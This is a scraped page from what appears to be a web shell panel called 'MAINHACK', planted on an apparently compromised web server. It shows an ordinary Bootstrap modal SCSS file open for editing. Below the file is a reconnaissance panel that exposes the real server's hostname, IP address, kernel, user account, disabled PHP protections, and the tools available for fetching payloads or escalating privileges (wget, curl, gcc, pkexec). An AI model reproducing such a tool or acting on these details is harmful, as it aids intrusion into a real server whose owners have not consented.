[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: _modal.scss
// Modals .modal { // Modal Header .modal-header { background-color: $body-bg; // close button .btn-close { padding: 0.8rem; box-shadow: 0 5px 20px 0 rgba($black, 0.1); border-radius: $border-radius; background-color: $white; opacity: 1; transition: all 0.23s ease 0.1s; position: relative; transform: translate(18px, -10px); // For hover effect of close btn &:hover, &:focus, &:active { opacity: 1; outline: none; transform: translate(15px, -2px); box-shadow: none; } } } .modal-fullscreen { .modal-header { .btn-close { transform: translate(0, 0); } } } // Modal Content .modal-content { // overflow: unset; updated to "visible" as close icon is not visible in IE overflow: visible; box-shadow: 0 5px 20px 0 rgba($black, 0.1); } .modal-footer { padding: $modal-inner-padding; } // modal sticky for apps &.modal-sticky { bottom: 0; right: 0; top: auto; left: auto; height: auto; position: fixed; .modal-header { display: flex; align-items: center; justify-content: space-between; } .modal-dialog { margin-right: #{$content-padding} !important; box-shadow: 0px 0px 24px 0 rgba($black, 0.25); border-radius: $border-radius; } .modal-actions { background: transparent; box-shadow: none; line-height: 0; } } } // Modal XS .modal-xs { max-width: 300px; } // Modal XL @media (min-width: 1200px) { .modal-xl { margin-left: 3%; margin-right: 3%; } } // Slide In Modal // .modal-slide-in, .modal-slide-in .modal { padding: 0 !important; overflow: hidden !important; } .modal-slide-in { .modal-dialog { position: fixed; top: 0; right: 0; bottom: 0; left: auto; margin: 0; max-width: none; width: ($modal-slide-in-width-sm - 5); .modal-content { padding-bottom: ($modal-title-line-height * $btn-close-width) + $modal-header-padding-y; padding-top: ($modal-title-line-height * $btn-close-width) + $modal-header-padding-y; overflow: auto; border-radius: 0; height: 100%; } .modal-body { padding-bottom: 0; padding-top: 0; margin: auto 0; flex-grow: 0; } @media (min-width: (map-get($grid-breakpoints, sm))) { width: $modal-slide-in-width; } &.sidebar-sm { width: $modal-slide-in-width-sm; } &.sidebar-lg { @media (min-width: (map-get($grid-breakpoints, sm))) { width: $modal-slide-in-width-lg; } } } .btn-close { top: $modal-header-padding-y / 2; z-index: 10; transform: none; position: absolute; top: 1.5rem; right: $modal-header-padding-x; margin: 0; padding: 0 !important; line-height: 0.5; transform: translate(0, -50%); } } // Slide from Right .modal-slide-in.fade .modal-dialog, .modal-slide-in .modal.fade .modal-dialog { transform: translateX(100%); transition: transform 0.1s ease-out; } .modal-slide-in.show .modal-dialog, .modal-slide-in .modal.show .modal-dialog { transform: translateX(0) !important; transition: transform 0.1s ease-out; } // To remove Max-width of XS Modal in Small Screen @media (max-width: 576px) { .modal { &:not(.modal-slide-in) { .modal-dialog:not(.modal-fullscreen) { padding-right: 1rem; padding-left: 1rem; } } .modal-xs, .modal-sm { max-width: unset; } &.modal-sticky .modal-dialog { margin-right: 0.2rem !important; margin-left: 0.2rem; margin-bottom: 3rem; } } } // ------------------------------------------------ // Modal Examples // ------------------------------------------------ // --- refer and earn start ----- // .modal-refer-earn { .modal-refer-earn-step { svg { height: 2.5rem; width: 2.5rem; } } } // --- refer and earn end ----- // // --- share project start ----- // @include media-breakpoint-down(lg) { #shareProject { .list-group { .dropdown-toggle { padding: 0.5rem; &::after { left: 0; } } } } } // --- share project end ----- //
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002